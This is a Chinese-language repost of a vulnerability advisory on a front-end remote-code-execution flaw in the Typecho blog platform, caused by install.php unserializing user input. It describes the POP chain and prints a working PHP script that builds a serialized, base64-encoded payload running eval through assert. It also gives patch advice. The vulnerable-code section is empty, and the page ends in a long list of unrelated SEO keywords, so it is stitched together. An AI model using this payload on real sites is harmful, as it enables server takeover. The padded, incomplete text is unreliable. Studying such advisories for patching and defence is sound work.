千家信息网

typecho前台GETSHELL分析预警的案例

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,这篇文章主要介绍了typecho前台GETSHELL分析预警的案例,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。0x01 漏洞描述in
千家信息网最后更新 2026年11月01日typecho前台GETSHELL分析预警的案例

这篇文章主要介绍了typecho前台GETSHELL分析预警的案例,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

0x01 漏洞描述


install.php一处if`判断里直接处理了用户传入的序列化字符串,以及可以在现有框架中寻找到一条完整的pop执行链导致任意php命令执行。

0x02 漏洞攻击面影响


影响面

几乎市面上的未及时更新的所有typecho都受到该漏洞影响。

影响版本

gitcommit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5

之前的几乎所有版本

修复版本

gitcommite277141c974cd740702c5ce73f7e9f382c18d84e

以后的commit

0x03 修复方案


漏洞代码


这里可以预想,应该不会有显然在__constract()中写出危险操作的开发吧

所以把思路转向字符串拼接的时候

寻找下__toString()

其实只有三个class有这个__toString()

var/Typecho/Feed.php

var/Typecho/Config.php

var/Typecho/Db/Query.php

这里面大致出现了如下几种调用

php

$item['xxx']

$item['xxx']->$yyyy

$this->

从这个点可以有些新的思考

因为是反序列化,对象中的属性也是我们可以控制的,那么现在去找找__get()方法

php

class Typecho_Config implements Iterator

class IXR_Client

class Typecho_Plugin

class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do

class Typecho_Date

class Typecho_Request

abstract class Typecho_Widget

class Typecho_Widget_Helper_Layout

有这么些个函数是带有__get()方法的

有这么一处完整不经过变化处理的

然后直接由call_user_func执行构造好的指定代码

0x04 攻击利用分析


Playload生成

php

class Typecho_Request

{

private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');

private $_filter = array('assert');

}

$payload1 = new Typecho_Request();

class Typecho_Feed

{

private $_type = 'RSS 2.0';

private $_items;

public function __construct($x1)

{

$this->_items[] = array('author'=>$x1);

}

}

$payload2 = new Typecho_Feed($payload1);

$exp['adapter'] = $payload2;

$exp['prefix'] = 'c1tas';

echo base64_encode(serialize($exp));

0x05 漏洞利用验证


验证截图

0x06 修复建议


1. 及时同步官方分支

2. 注释掉install.php相关代码

感谢你能够认真阅读完这篇文章,希望小编分享的"typecho前台GETSHELL分析预警的案例"这篇文章对大家有帮助,同时也希望大家多多支持,关注行业资讯频道,更多相关知识等着你来学习!

漏洞 篇文章 影响 分析 代码 版本 前台 案例 预警 字符 字符串 序列 方法 处理 攻击 验证 危险 三个 价值 兴趣 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 中智农互联网科技 互联网科技工作委员会副主任毛军 A股互联网金融科技公司 互联网科技金融公司 中国 科技 互联网 广西互联网科技公司 四川狮子座互联网科技 须眉科技是互联网公司吗 宁夏科技产业互联网案例 河南猎农互联网科技有限公司 米聚互联网科技南京有限公司排面 如何创新互联网科技 元气玛特互联网科技公司是外包吗 互联网相关科技技术 风投北京互联网科技 昆明中奇联合互联网科技 银川新华互联网科技学校原画 广州三三互联网科技有限公司 深圳互联网科技园地址 杭州科技互联网公司有哪些 重生之互联网科技帝国 科技信息互联网 深圳互联网络科技有限公司 天津摩尔互联网科技 长亮科技互联网金融 科技伦理 互联网公司 互联网对科技的发展 本届互联网大会上的黑科技 每日互联网科技新闻 广州全民伙伴互联网科技有限公司
0